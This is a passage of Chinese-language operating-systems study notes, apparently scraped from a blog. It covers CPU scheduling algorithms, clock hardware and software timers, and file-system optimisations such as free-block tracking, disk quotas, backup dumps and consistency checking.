分钟却没有完成复印操作,用户就会很焦躁。实时系统实时系统则有着和交互式系统不同的考量因素,因此也就有不同的调度目标。实时系统的特点是必须满足最后的截止时间。例如,如果计算机控制着以固定速率产生数据的设备,未能按时运行的话可能会导致数据丢失。因此,实时系统中最重要的需求是满足所有(或大多数)时间期限。在一些实事系统中,特别是涉及到多媒体的,可预测性很重要。偶尔不能满足最后的截止时间不重要,但是如果音频多媒体运行不稳定,声音质量会持续恶化。视频也会造成问题,但是耳朵要比眼睛敏感很多。为了避免这些问题,进程调度必须能够高度可预测的而且是有规律的。4.2批处理中的调度现在让我们把目光从一般性的调度转换为特定的调度算法。下面我们会探讨在批处理中的调度。先来先服务很像是先到先得。。。可能最简单的非抢占式调度算法的设计就是 先来先服务(first-come,first-serverd)。使用此算法,将按照请求顺序为进程分配 CPU。最基本的,会有一个就绪进程的等待队列。当第一个任务从外部进入系统时,将会立即启动并允许运行任意长的时间。它不会因为运行时间太长而中断。当其他作业进入时,它们排到就绪队列尾部。当正在运行的进程阻塞,处于等待队列的第一个进程就开始运行。当一个阻塞的进程重新处于就绪态时,它会像一个新到达的任务,会排在队列的末尾,即排在所有进程最后。这个算法的强大之处在于易于理解和编程,在这个算法中,一个单链表记录了所有就绪进程。要选取一个进程运行,只要从该队列的头部移走一个进程即可;要添加一个新的作业或者阻塞一个进程,只要把这个作业或进程附加在队列的末尾即可。这是很简单的一种实现。不过,先来先服务也是有缺点的,那就是没有优先级的关系,试想一下,如果有 100 个 I/O 进程正在排队,第 101 个是一个 CPU 密集型进程,那岂不是需要等 100 个 I/O 进程运行完毕才会等到一个 CPU 密集型进程运行,这在实际情况下根本不可能,所以需要优先级或者抢占式进程的出现来优先选择重要的进程运行。最短作业优先批处理中,第二种调度算法是 最短作业优先(Shortest Job First),我们假设运行时间已知。例如,一家保险公司,因为每天要做类似的工作,所以人们可以相当精确地预测处理 1000 个索赔的一批作业需要多长时间。当输入队列中有若干个同等重要的作业被启动时,调度程序应使用最短优先作业算法如上图 a 所示,这里有 4 个作业 A、B、C、D ,运行时间分别为 8、4、4、4 分钟。若按图中的次序运行,则 A 的周转时间为 8 分钟,B 为 12 分钟,C 为 16 分钟,D 为 20 分钟,平均时间内为 14 分钟。现在考虑使用最短作业优先算法运行 4 个作业,如上图 b 所示,目前的周转时间分别为 4、8、12、20,平均为 11 分钟,可以证明最短作业优先是最优的。考虑有 4 个作业的情况,其运行时间分别为 a、b、c、d。第一个作业在时间 a 结束,第二个在时间 a + b 结束,以此类推。平均周转时间为 (4a + 3b + 2c + d) / 4 。显然 a 对平均值的影响最大,所以 a 应该是最短优先作业,其次是 b,然后是 c ,最后是 d 它就只能影响自己的周转时间了。需要注意的是,在所有的进程都可以运行的情况下,最短作业优先的算法才是最优的。最短剩余时间优先最短作业优先的抢占式版本被称作为 最短剩余时间优先(Shortest Remaining Time Next) 算法。使用这个算法,调度程序总是选择剩余运行时间最短的那个进程运行。当一个新作业到达时,其整个时间同当前进程的剩余时间做比较。如果新的进程比当前运行进程需要更少的时间,当前进程就被挂起,而运行新的进程。这种方式能够使短期作业获得良好的服务。4.3交互式系统中的调度交互式系统中在个人计算机、服务器和其他系统中都是很常用的,所以有必要来探讨一下交互式调度轮询调度一种最古老、最简单、最公平并且最广泛使用的算法就是 轮询算法(round-robin)。每个进程都会被分配一个时间段,称为时间片(quantum),在这个时间片内允许进程运行。如果时间片结束时进程还在运行的话,则抢占一个 CPU 并将其分配给另一个进程。如果进程在时间片结束前阻塞或结束,则 CPU 立即进行切换。轮询算法比较容易实现。调度程序所做的就是维护一个可运行进程的列表,就像下图中的 a,当一个进程用完时间片后就被移到队列的末尾,就像下图的 b。时间片轮询调度中唯一有意思的一点就是时间片的长度。从一个进程切换到另一个进程需要一定的时间进行管理处理,包括保存寄存器的值和内存映射、更新不同的表格和列表、清除和重新调入内存高速缓存等。这种切换称作 进程间切换(process switch) 和 上下文切换(context switch)。如果进程间的切换时间需要 1ms,其中包括内存映射、清除和重新调入高速缓存等,再假设时间片设为 4 ms,那么 CPU 在做完 4 ms 有用的工作之后,CPU 将花费 1 ms 来进行进程间的切换。因此,CPU 的时间片会浪费 20% 的时间在管理开销上。耗费巨大。为了提高 CPU 的效率,我们把时间片设置为 100 ms。现在时间的浪费只有 1%。但是考虑会发现下面的情况,如果在一个非常短的时间内到达 50 个请求,并且对 CPU 有不同的需求,此时会发生什么?50 个进程都被放在可运行进程列表中。如果 CPU 是空闲的,第一个进程会立即开始执行,第二个直到 100 ms 以后才会启动,以此类推。不幸的是最后一个进程需要等待 5 秒才能获得执行机会。大部分用户都会觉得对于一个简短的指令运行 5 秒钟是很慢的。如果队列末尾的某些请求只需要几号秒钟的运行时间的话,这种设计就非常糟糕了。另外一个因素是如果时间片设置长度要大于 CPU 使用长度,那么抢占就不会经常发生。相反,在时间片用完之前,大多数进程都已经阻塞了,那么就会引起进程间的切换。消除抢占可提高性能,因为进程切换仅在逻辑上必要时才发生,即流程阻塞且无法继续时才发生。结论可以表述如下:将时间片时间设置得太短会导致过多的进程切换并降低 CPU 效率,但设置时间太长会导致一个短请求很长时间得不到响应。最好的切换时间是在 20 - 50 毫秒之间设置。优先级调度轮询调度假设了所有的进程是同等重要的。但事实情况可能不是这样。例如,在一所大学中的等级制度,首先是院长,然后是教授、秘书、后勤人员,最后是学生。这种将外部情况考虑在内就实现了优先级调度(priority scheduling)它的基本思想很明确,每个进程都被赋予一个优先级,优先级高的进程优先运行。但是也不意味着高优先级的进程能够永远一直运行下去,调度程序会在每个时钟中断期间降低当前运行进程的优先级。如果此操作导致其优先级降低到下一个最高进程的优先级以下,则会发生进程切换。或者,可以为每个进程分配允许运行的最大时间间隔。当时间间隔用完后,下一个高优先级的进程会得到运行的机会。可以静态或者动态的为进程分配优先级。在一台军用计算机上,可以把将军所启动的进程设为优先级 100,上校为 90 ,少校为 80,上尉为 70,中尉为 60,以此类推。UNIX 中有一条命令为 nice ,它允许用户为了照顾他人而自愿降低自己进程的优先级,但是一般没人用。优先级也可以由系统动态分配,用于实现某种目的。例如,有些进程为 I/O 密集型,其多数时间用来等待 I/O 结束。当这样的进程需要 CPU 时,应立即分配 CPU,用来启动下一个 I/O 请求,这样就可以在另一个进程进行计算的同时执行 I/O 操作。这类 I/O 密集型进程长时间的等待 CPU 只会造成它长时间占用内存。使 I/O 密集型进程获得较好的服务的一种简单算法是,将其优先级设为 1/f,f 为该进程在上一时间片中所占的部分。一个在 50 ms 的时间片中只使用 1 ms 的进程将获得优先级 50 ,而在阻塞之前用掉 25 ms 的进程将具有优先级 2,而使用掉全部时间片的进程将得到优先级 1。可以很方便的将一组进程按优先级分成若干类,并且在各个类之间采用优先级调度,而在各类进程的内部采用轮转调度。下面展示了一个四个优先级类的系统它的调度算法主要描述如下:上面存在优先级为 4 类的可运行进程,首先会按照轮转法为每个进程运行一个时间片,此时不理会较低优先级的进程。若第 4 类进程为空,则按照轮询的方式运行第三类进程。若第 4 类和第 3 类进程都为空,则按照轮转法运行第 2 类进程。如果不对优先级进行调整,则低优先级的进程很容易产生饥饿现象。多级队列最早使用优先级调度的系统是 CTSS(Compatible TimeSharing System)。CTSS 是一种兼容分时系统,它有一个问题就是进程切换太慢,其原因是 IBM 7094 内存只能放进一个进程。IBM 是哥伦比亚大学计算机中心在 1964 - 1968 年的计算机CTSS 在每次切换前都需要将当前进程换出到磁盘,并从磁盘上读入一个新进程。CTSS 的设计者很快就认识到,为 CPU 密集型进程设置较长的时间片比频繁地分给他们很短的时间要更有效(减少交换次数)。另一方面,如前所述,长时间片的进程又会影响到响应时间,解决办法是设置优先级类。属于最高优先级的进程运行一个时间片,次高优先级进程运行 2 个时间片,再下面一级运行 4 个时间片,以此类推。当一个进程用完分配的时间片后,它被移到下一类。最短进程优先对于批处理系统而言,由于最短作业优先常常伴随着最短响应时间,所以如果能够把它用于交互式进程,那将是非常好的。在某种程度上,的确可以做到这一点。交互式进程通常遵循下列模式:等待命令、执行命令、等待命令、执行命令。。。如果我们把每个命令的执行都看作一个分离的作业,那么我们可以通过首先运行最短的作业来使响应时间最短。这里唯一的问题是如何从当前可运行进程中找出最短的那一个进程。一种方式是根据进程过去的行为进行推测,并执行估计运行时间最短的那一个。假设每个终端上每条命令的预估运行时间为 T0,现在假设测量到其下一次运行时间为 T1,可以用两个值的加权来改进估计时间,即aT0+ (1- a)T1。通过选择 a 的值,可以决定是尽快忘掉老的运行时间,还是在一段长时间内始终记住它们。当 a = 1/2 时,可以得到下面这个序列可以看到,在三轮过后,T0 在新的估计值中所占比重下降至 1/8。有时把这种通过当前测量值和先前估计值进行加权平均从而得到下一个估计值的技术称作 老化(aging)。这种方法会使用很多预测值基于当前值的情况。保证调度一种完全不同的调度方法是对用户做出明确的性能保证。一种实际而且容易实现的保证是:若用户工作时有 n 个用户登录,则每个用户将获得 CPU 处理能力的 1/n。类似地,在一个有 n 个进程运行的单用户系统中,若所有的进程都等价,则每个进程将获得 1/n 的 CPU 时间。彩票调度对用户进行承诺并在随后兑现承诺是一件好事,不过很难实现。但是存在着一种简单的方式,有一种既可以给出预测结果而又有一种比较简单的实现方式的算法,就是 彩票调度(lottery scheduling)算法。其基本思想是为进程提供各种系统资源(例如 CPU 时间)的彩票。当做出一个调度决策的时候,就随机抽出一张彩票,拥有彩票的进程将获得该资源。在应用到 CPU 调度时,系统可以每秒持有 50 次抽奖,每个中奖者将获得比如 20 毫秒的 CPU 时间作为奖励。George Orwell 关于 所有的进程是平等的,但是某些进程能够更平等一些。一些重要的进程可以给它们额外的彩票,以便增加他们赢得的机会。如果出售了 100 张彩票,而且有一个进程持有了它们中的 20 张,它就会有 20% 的机会去赢得彩票中奖。在长时间的运行中,它就会获得 20% 的CPU。相反,对于优先级调度程序,很难说明拥有优先级 40 究竟是什么意思,这里的规则很清楚,拥有彩票 f 份额的进程大约得到系统资源的 f 份额。如果希望进程之间协作的话可以交换它们之间的票据。例如,客户端进程给服务器进程发送了一条消息后阻塞,客户端进程可能会把自己所有的票据都交给服务器,来增加下一次服务器运行的机会。当服务完成后,它会把彩票还给客户端让其有机会再次运行。事实上,如果没有客户机,服务器也根本不需要彩票。可以把彩票理解为 buff,这个 buff 有 15% 的几率能让你产生 速度之靴 的效果。公平分享调度到目前为止,我们假设被调度的都是各个进程自身,而不用考虑该进程的拥有者是谁。结果是,如果用户 1 启动了 9 个进程,而用户 2 启动了一个进程,使用轮转或相同优先级调度算法,那么用户 1 将得到 90 % 的 CPU 时间,而用户 2 将之得到 10 % 的 CPU 时间。为了阻止这种情况的出现,一些系统在调度前会把进程的拥有者考虑在内。在这种模型下,每个用户都会分配一些CPU 时间,而调度程序会选择进程并强制执行。因此如果两个用户每个都会有 50% 的 CPU 时间片保证,那么无论一个用户有多少个进程,都将获得相同的 CPU 份额。4.4实时系统中的调度实时系统(real-time) 是一个时间扮演了重要作用的系统。典型的,一种或多种外部物理设备发给计算机一个服务请求,而计算机必须在一个确定的时间范围内恰当的做出反应。例如,在 CD 播放器中的计算机会获得从驱动器过来的位流,然后必须在非常短的时间内将位流转换为音乐播放出来。如果计算时间过长,那么音乐就会听起来有异常。再比如说医院特别护理部门的病人监护装置、飞机中的自动驾驶系统、列车中的烟雾警告装置等,在这些例子中,正确但是却缓慢的响应要比没有响应甚至还糟糕。实时系统可以分为两类,硬实时(hard real time) 和 软实时(soft real time) 系统,前者意味着必须要满足绝对的截止时间;后者的含义是虽然不希望偶尔错失截止时间,但是可以容忍。在这两种情形中,实时都是通过把程序划分为一组进程而实现的,其中每个进程的行为是可预测和提前可知的。这些进程一般寿命较短,并且极快的运行完成。在检测到一个外部信号时,调度程序的任务就是按照满足所有截止时间的要求调度进程。实时系统中的事件可以按照响应方式进一步分类为周期性(以规则的时间间隔发生)事件或 非周期性(发生时间不可预知)事件。一个系统可能要响应多个周期性事件流,根据每个事件处理所需的时间,可能甚至无法处理所有事件。例如,如果有 m 个周期事件,事件 i 以周期 Pi 发生,并需要 Ci 秒 CPU 时间处理一个事件,那么可以处理负载的条件是只有满足这个条件的实时系统称为可调度的,这意味着它实际上能够被实现。一个不满足此检验标准的进程不能被调度,因为这些进程共同需要的 CPU 时间总和大于 CPU 能提供的时间。举一个例子,考虑一个有三个周期性事件的软实时系统,其周期分别是 100 ms、200 m 和 500 ms。如果这些事件分别需要 50 ms、30 ms 和 100 ms 的 CPU 时间,那么该系统时可调度的,因为 0.5 + 0.15 + 0.2 < 1。如果此时有第四个事件加入,其周期为 1 秒,那么此时这个事件如果不超过 150 ms,那么仍然是可以调度的。忽略上下文切换的时间。实时系统的调度算法可以是静态的或动态的。前者在系统开始运行之前做出调度决策;后者在运行过程中进行调度决策。只有在可以提前掌握所完成的工作以及必须满足的截止时间等信息时,静态调度才能工作,而动态调度不需要这些限制。4.5调度策略和机制到目前为止,我们隐含的假设系统中所有进程属于不同的分组用户并且进程间存在相互竞争 CPU 的情况。通常情况下确实如此,但有时也会发生一个进程会有很多子进程并在其控制下运行的情况。例如,一个数据库管理系统进程会有很多子进程。每一个子进程可能处理不同的请求,或者每个子进程实现不同的功能(如请求分析、磁盘访问等)。主进程完全可能掌握哪一个子进程最重要(或最紧迫),而哪一个最不重要。但是,以上讨论的调度算法中没有一个算法从用户进程接收有关的调度决策信息,这就导致了调度程序很少能够做出最优的选择。解决问题的办法是将 调度机制(scheduling mechanism) 和 调度策略(scheduling policy) 分开,这是长期一贯的原则。这也就意味着调度算法在某种方式下被参数化了,但是参数可以被用户进程填写。让我们首先考虑数据库的例子。假设内核使用优先级调度算法,并提供了一条可供进程设置优先级的系统调用。这样,尽管父进程本身并不参与调度,但它可以控制如何调度子进程的细节。调度机制位于内核,而调度策略由用户进程决定,调度策略和机制分离是一种关键性思路。4.6线程调度当若干进程都有多个线程时,就存在两个层次的并行:进程和线程。在这样的系统中调度处理有本质的差别,这取决于所支持的是用户级线程还是内核级线程(或两者都支持)。首先考虑用户级线程,由于内核并不知道有线程存在,所以内核还是和以前一样地操作,选取一个进程,假设为 A,并给予 A 以时间片控制。A 中的线程调度程序决定哪个线程运行。假设为 A1。由于多道线程并不存在时钟中断,所以这个线程可以按其意愿任意运行多长时间。如果该线程用完了进程的全部时间片,内核就会选择另一个进程继续运行。在进程 A 终于又一次运行时,线程 A1 会接着运行。该线程会继续耗费 A 进程的所有时间,直到它完成工作。不过,线程运行不会影响到其他进程。其他进程会得到调度程序所分配的合适份额,不会考虑进程 A 内部发生的事情。现在考虑 A 线程每次 CPU 计算的工作比较少的情况,例如:在 50 ms 的时间片中有 5 ms 的计算工作。于是,每个线程运行一会儿,然后把 CPU 交回给线程调度程序。这样在内核切换到进程 B 之前,就会有序列 A1,A2,A3,A1,A2,A3,A1,A2,A3,A1 。 如下所示运行时系统使用的调度算法可以是上面介绍算法的任意一种。从实用方面考虑,轮转调度和优先级调度更为常用。唯一的局限是,缺乏一个时钟中断运行过长的线程。但由于线程之间的合作关系,这通常也不是问题。现在考虑使用内核线程的情况,内核选择一个特定的线程运行。它不用考虑线程属于哪个进程,不过如果有必要的话,也可以这么做。对被选择的线程赋予一个时间片,而且如果超过了时间片,就会强制挂起该线程。一个线程在 50 ms 的时间片内,5 ms 之后被阻塞,在 30 ms 的时间片中,线程的顺序会是 A1,B1,A2,B2,A3,B3。如下图所示用户级线程和内核级线程之间的主要差别在于性能。用户级线程的切换需要少量的机器指令(想象一下Java程序的线程切换),而内核线程需要完整的上下文切换,修改内存映像,使高速缓存失效,这会导致了若干数量级的延迟。另一方面,在使用内核级线程时,一旦线程阻塞在 I/O 上就不需要在用户级线程中那样将整个进程挂起。从进程 A 的一个线程切换到进程 B 的一个线程,其消耗要远高于运行进程 A 的两个线程(涉及修改内存映像,修改高速缓存),内核对这种切换的消耗是了解到,可以通过这些信息作出决定。
0
0
0
浏览量1300
爱喝奶茶的波波

输入和输出-时钟

五、时钟时钟(Clocks) 也被称为定时器(timers),时钟/定时器对任何程序系统来说都是必不可少的。时钟负责维护时间、防止一个进程长期占用 CPU 时间等其他功能。时钟软件(clock software) 也是一种设备驱动的方式。下面我们就来对时钟进行介绍,一般都是先讨论硬件再介绍软件,采用由下到上的方式,也是告诉你,底层是最重要的。5.1时钟硬件在计算机中有两种类型的时钟,这些时钟与现实生活中使用的时钟完全不一样。比较简单的一种时钟被连接到 110 V 或 220 V 的电源线上,这样每个电压周期会产生一个中断,大概是 50 - 60 HZ。这些时钟过去一直占据支配地位。另外的一种时钟由晶体振荡器、计数器和寄存器组成,示意图如下所示这种时钟称为可编程时钟 ,可编程时钟有两种模式,一种是 一键式(one-shot mode),当时钟启动时,会把存储器中的值复制到计数器中,然后,每次晶体的振荡器的脉冲都会使计数器 -1。当计数器变为 0 时,会产生一个中断,并停止工作,直到软件再一次显示启动。还有一种模式时 方波(square-wave mode) 模式,在这种模式下,当计数器变为 0 并产生中断后,存储寄存器的值会自动复制到计数器中,这种周期性的中断称为一个时钟周期。5.2时钟软件时钟硬件所做的工作只是根据已知的时间间隔产生中断,而其他的工作都是由时钟软件来完成,一般操作系统的不同,时钟软件的具体实现也不同,但是一般都会包括以下这几点维护一天的时间阻止进程运行的时间超过其指定时间统计 CPU 的使用情况处理用户进程的警告系统调用为系统各个部分提供看门狗定时器完成概要剖析,监视和信息收集5.3软定时器时钟软件也被称为可编程时钟,可以设置它以程序需要的任何速率引发中断。时钟软件触发的中断是一种硬中断,但是某些应用程序对于硬中断来说是不可接受的。这时候就需要一种软定时器(soft timer) 避免了中断,无论何时当内核因为某种原因呢在运行时,它返回用户态之前都会检查时钟来了解软定时器是否到期。如果软定时器到期,则执行被调度的事件也无需切换到内核态,因为本身已经处于内核态中。这种方式避免了频繁的内核态和用户态之前的切换,提高了程序运行效率。软定时器因为不同的原因切换进入内核态的速率不同,原因主要有系统调用TLB 未命中缺页异常I/O 中断CPU 变得空闲
0
0
0
浏览量865
爱喝奶茶的波波

文件系统-文件系统的优化

四、文件系统的优化4.1磁盘空间管理文件通常存在磁盘中,所以如何管理磁盘空间是一个操作系统的设计者需要考虑的问题。在文件上进行存有两种策略:分配 n 个字节的连续磁盘空间;或者把文件拆分成多个并不一定连续的块。在存储管理系统中,主要有分段管理和 分页管理 两种方式。正如我们所看到的,按连续字节序列存储文件有一个明显的问题,当文件扩大时,有可能需要在磁盘上移动文件。内存中分段也有同样的问题。不同的是,相对于把文件从磁盘的一个位置移动到另一个位置,内存中段的移动操作要快很多。因此,几乎所有的文件系统都把文件分割成固定大小的块来存储。块大小一旦把文件分为固定大小的块来存储,就会出现问题,块的大小是多少?按照磁盘组织方式,扇区、磁道和柱面显然都可以作为分配单位。在分页系统中,分页大小也是主要因素。拥有大的块尺寸意味着每个文件,甚至 1 字节文件,都要占用一个柱面空间,也就是说小文件浪费了大量的磁盘空间。另一方面,小块意味着大部分文件将会跨越多个块,因此需要多次搜索和旋转延迟才能读取它们,从而降低了性能。因此,如果分配的块太大会浪费空间;分配的块太小会浪费时间。记录空闲块一旦指定了块大小,下一个问题就是怎样跟踪空闲块。有两种方法被广泛采用,如下图所示第一种方法是采用磁盘块链表,链表的每个块中包含极可能多的空闲磁盘块号。对于 1 KB 的块和 32 位的磁盘块号,空闲表中每个块包含有 255 个空闲的块号。考虑 1 TB 的硬盘,拥有大概十亿个磁盘块。为了存储全部地址块号,如果每块可以保存 255 个块号,则需要将近 400 万个块。通常,空闲块用于保存空闲列表,因此存储基本上是空闲的。另一种空闲空间管理的技术是位图(bitmap),n 个块的磁盘需要 n 位位图。在位图中,空闲块用 1 表示,已分配的块用 0 表示。对于 1 TB 硬盘的例子,需要 10 亿位表示,即需要大约 130 000 个 1 KB 块存储。很明显,和 32 位链表模型相比,位图需要的空间更少,因为每个块使用 1 位。只有当磁盘快满的时候,链表需要的块才会比位图少。如果空闲块是长期连续的话,那么空闲列表可以改成记录连续分块而不是单个的块。每个块都会使用 8位、16位、32 位的计数来与每个块相联,来记录连续空闲块的数量。最好的情况是一个空闲块可以用两个数字来表示:第一个空闲块的地址和空闲块的计数。另一方面,如果磁盘严重碎片化,那么跟踪连续分块要比跟踪单个分块运行效率低,因为不仅要存储地址,还要存储数量。这种情况说明了一个操作系统设计者经常遇到的一个问题。有许多数据结构和算法可以用来解决问题,但是选择一个最好的方案需要数据的支持,而这些数据是设计者无法预先拥有的。只有在系统部署完毕真正使用使用后才会获得。现在,回到空闲链表的方法,只有一个指针块保存在内存中。创建文件时,所需要的块从指针块中取出。当它用完时,将从磁盘中读取一个新的指针块。类似地,删除文件时,文件的块将被释放并添加到主存中的指针块中。当块被填满时,写回磁盘。在某些特定的情况下,这个方法导致了不必要的磁盘 IO,如下图所示上面内存中的指针块仅有两个空闲块,如果释放了一个含有三个磁盘块的文件,那么该指针块就会溢出,必须将其写入磁盘,那么就会产生如下图的这种情况。如果现在写入含有三个块的文件,已满的指针不得不再次读入,这将会回到上图 a 中的情况。如果有三个块的文件只是作为临时文件被写入,在释放它时,需要进行另一次磁盘写操作以将完整的指针块写回到磁盘。简而言之,当指针块几乎为空时,一系列短暂的临时文件可能会导致大量磁盘 I/O。避免大部分磁盘 I/O 的另一种方法是拆分完整的指针块。这样,当释放三个块时,变化不再是从 a - b,而是从 a - c,如下图所示现在,系统可以处理一系列临时文件,而不需要进行任何磁盘 I/O。如果内存中指针块满了,就写入磁盘,半满的指针块从磁盘中读入。这里的思想是:要保持磁盘上的大多数指针块为满的状态(减少磁盘的使用),但是在内存中保留了一个半满的指针块。这样,就可以既处理文件的创建又同时可以处理文件的删除操作,而不会为空闲表进行磁盘 I/O。对于位图,会在内存中只保留一个块,只有在该块满了或空了的情形下,才到磁盘上取另一个块。通过在位图的单一块上进行所有的分配操作,磁盘块会紧密的聚集在一起,从而减少了磁盘臂的移动。由于位图是一种固定大小的数据结构,所以如果内核是分页的,就可以把位图放在虚拟内存中,在需要时将位图的页面调入。4.2磁盘配额为了防止一些用户占用太多的磁盘空间,多用户操作通常提供一种磁盘配额(enforcing disk quotas)的机制。系统管理员为每个用户分配最大的文件和块分配,并且操作系统确保用户不会超过其配额。我们下面会谈到这一机制。在用户打开一个文件时,操作系统会找到文件属性和磁盘地址,并把它们送入内存中的打开文件表。其中一个属性告诉文件所有者是谁。任何有关文件的增加都会记到所有者的配额中。第二张表包含了每个用户当前打开文件的配额记录,即使是其他人打开该文件也一样。如上图所示,该表的内容是从被打开文件的所有者的磁盘配额文件中提取出来的。当所有文件关闭时,该记录被写回配额文件。当在打开文件表中建立一新表项时,会产生一个指向所有者配额记录的指针。每次向文件中添加一个块时,文件所有者所用数据块的总数也随之增加,并会同时增加硬限制和软限制的检查。可以超出软限制,但硬限制不可以超出。当已达到硬限制时,再往文件中添加内容将引发错误。同样,对文件数目也存在类似的检查。什么是硬限制和软限制?硬限制是软限制的上限。软限制是为会话或进程实际执行的限制。这允许管理员(或用户)将硬限制设置为允许它们希望允许的最大使用上限。然后,其他用户和进程可以根据需要使用软限制将其资源使用量自限制到更低的上限。当一个用户尝试登陆,系统将检查配额文件以查看用户是否超出了文件数量或磁盘块数量的软限制。如果违反了任一限制,则会显示警告,保存的警告计数减 1,如果警告计数为 0 ,表示用户多次忽略该警告,因而将不允许该用户登录。要想再得到登录的许可,就必须与系统管理员协商。如果用户在退出系统时消除所超过的部分,他们就可以再一次终端会话期间超过其软限制,但无论什么情况下都不会超过硬限制。4.3文件系统备份文件系统的毁坏要比计算机的损坏严重很多。无论是硬件还是软件的故障,只要计算机文件系统被破坏,要恢复起来都是及其困难的,甚至是不可能的。因为文件系统无法抵御破坏,因而我们要在文件系统在被破坏之前做好数据备份,但是备份也不是那么容易,下面我们就来探讨备份的过程。许多人认为为文件系统做备份是不值得的,并且很浪费时间,直到有一天他们的磁盘坏了,他们才意识到事情的严重性。相对来说,公司在这方面做的就很到位。磁带备份主要要处理好以下两个潜在问题中的一个从意外的灾难中恢复这个问题主要是由于外部条件的原因造成的,比如磁盘破裂,水灾火灾等。从错误的操作中恢复第二个问题通常是由于用户意外的删除了原本需要还原的文件。这种情况发生的很频繁,使得 Windows 的设计者们针对 删除 命令专门设计了特殊目录,这就是 回收站(recycle bin),也就是说,在删除文件的时候,文件本身并不真正从磁盘上消失,而是被放置到这个特殊目录下,等以后需要的时候可以还原回去。文件备份更主要是指这种情况,能够允许几天之前,几周之前的文件从原来备份的磁盘进行还原。做文件备份很耗费时间而且也很浪费空间,这会引起下面几个问题。首先,是要备份整个文件还是仅备份一部分呢?一般来说,只是备份特定目录及其下的全部文件,而不是备份整个文件系统。其次,对上次未修改过的文件再进行备份是一种浪费,因而产生了一种增量转储(incremental dumps) 的思想。最简单的增量转储的形式就是周期性的做全面的备份,而每天只对增量转储完成后发生变化的文件做单个备份。周期性:比如一周或者一个月稍微好一点的方式是只备份最近一次转储以来更改过的文件。当然,这种做法极大的缩减了转储时间,但恢复起来却更复杂,因为最近的全面转储先要全部恢复,随后按逆序进行增量转储。为了方便恢复,人们往往使用更复杂的转储模式。第三,既然待转储的往往是海量数据,那么在将其写入磁带之前对文件进行压缩就很有必要。但是,如果在备份过程中出现了文件损坏的情况,就会导致破坏压缩算法,从而使整个磁带无法读取。所以在备份前是否进行文件压缩需慎重考虑。第四,对正在使用的文件系统做备份是很难的。如果在转储过程中要添加,删除和修改文件和目录,则转储结果可能不一致。因此,因为转储过程中需要花费数个小时的时间,所以有必要在晚上将系统脱机进行备份,然而这种方式的接受程度并不高。所以,人们修改了转储算法,记下文件系统的瞬时快照,即复制关键的数据结构,然后需要把将来对文件和目录所做的修改复制到块中,而不是到处更新他们。磁盘转储到备份磁盘上有两种方案:物理转储和逻辑转储。物理转储(physical dump) 是从磁盘的 0 块开始,依次将所有磁盘块按照顺序写入到输出磁盘,并在复制最后一个磁盘时停止。这种程序的万无一失性是其他程序所不具备的。第二个需要考虑的是坏块的转储。制造大型磁盘而没有瑕疵是不可能的,所以也会存在一些坏块(bad blocks)。有时进行低级格式化后,坏块会被检测出来并进行标记,这种情况的解决办法是用磁盘末尾的一些空闲块所替换。然而,一些块在格式化后会变坏,在这种情况下操作系统可以检测到它们。通常情况下,它可以通过创建一个由所有坏块组成的文件来解决问题,确保它们不会出现在空闲池中并且永远不会被分配。那么此文件是完全不可读的。如果磁盘控制器将所有的坏块重新映射,物理转储还是能够正常工作的。Windows 系统有分页文件(paging files) 和 休眠文件(hibernation files) 。它们在文件还原时不发挥作用,同时也不应该在第一时间进行备份。物理转储和逻辑转储物理转储的主要优点是简单、极为快速(基本上是以磁盘的速度运行),缺点是全量备份,不能跳过指定目录,也不能增量转储,也不能恢复个人文件的请求。因此句大多数情况下不会使用物理转储,而使用逻辑转储。逻辑转储(logical dump)从一个或几个指定的目录开始,递归转储自指定日期开始后更改的文件和目录。因此,在逻辑转储中,转储磁盘上有一系列经过仔细识别的目录和文件,这使得根据请求轻松还原特定文件或目录。既然逻辑转储是最常用的方式,那么下面就让我们研究一下逻辑转储的通用算法。此算法在 UNIX 系统上广为使用,如下图所示待转储的文件系统,其中方框代表目录,圆圈代表文件。黄色的项目表是自上次转储以来修改过。每个目录和文件都被标上其 inode 号。此算法会转储位于修改文件或目录路径上的所有目录(也包括未修改的目录),原因有两个。第一是能够在不同电脑的文件系统中恢复转储的文件。通过这种方式,转储和重新存储的程序能够用来在两个电脑之间传输整个文件系统。第二个原因是能够对单个文件进行增量恢复。逻辑转储算法需要维持一个 inode 为索引的位图(bitmap),每个 inode 包含了几位。随着算法的进行,位图中的这些位会被设置或清除。算法的执行分成四个阶段。第一阶段从起始目录(本例为根目录)开始检查其中所有的目录项。对每一个修改过的文件,该算法将在位图中标记其 inode。算法还会标记并递归检查每一个目录(不管是否修改过)。在第一阶段结束时,所有修改过的文件和全部目录都在位图中标记了,如下图所示理论上来说,第二阶段再次递归遍历目录树,并去掉目录树中任何不包含被修改过的文件或目录的标记。本阶段执行的结果如下注意,inode 编号为 10、11、14、27、29 和 30 的目录已经被去掉了标记,因为它们所包含的内容没有修改。它们也不会转储。相反,inode 编号为 5 和 6 的目录本身尽管没有被修改过也要被转储,因为在新的机器上恢复当日的修改时需要这些信息。为了提高算法效率,可以将这两阶段的目录树遍历合二为一。现在已经知道了哪些目录和文件必须被转储了,这就是上图 b 中标记的内容,第三阶段算法将以节点号为序,扫描这些 inode 并转储所有标记为需转储的目录,如下图所示为了进行恢复,每个被转储的目录都用目录的属性(所有者、时间)作为前缀。最后,在第四阶段,上图中被标记的文件也被转储,同样,由其文件属性作为前缀。至此,转储结束。从转储磁盘上还原文件系统非常简单。一开始,需要在磁盘上创建空文件系统。然后恢复最近一次的完整转储。由于磁带上最先出现目录,所以首先恢复目录,给出文件系统的框架(skeleton),然后恢复文件系统本身。在完整存储之后是第一次增量存储,然后是第二次重复这一过程,以此类推。尽管逻辑存储十分简单,但是也会有一些棘手的问题。首先,既然空闲块列表并不是一个文件,那么在所有被转储的文件恢复完毕之后,就需要从零开始重新构造。另外一个问题是关于链接。如果文件链接了两个或者多个目录,而文件只能还原一次,那么并且所有指向该文件的目录都必须还原。还有一个问题是,UNIX 文件实际上包含了许多 空洞(holes)。打开文件,写几个字节,然后找到文件中偏移了一定距离的地址,又写入更多的字节,这么做是合法的。但两者之间的这些块并不属于文件本身,从而也不应该在其上进行文件转储和恢复。最后,无论属于哪一个目录,特殊文件,命名管道以及类似的文件都不应该被转储。4.4文件系统的一致性影响可靠性的一个因素是文件系统的一致性。许多文件系统读取磁盘块、修改磁盘块、再把它们写回磁盘。如果系统在所有块写入之前崩溃,文件系统就会处于一种不一致(inconsistent)的状态。如果某些尚未写回的块是索引节点块,目录块或包含空闲列表的块,则此问题是很严重的。为了处理文件系统一致性问题,大部分计算机都会有应用程序来检查文件系统的一致性。例如,UNIX 有 fsck;Windows 有 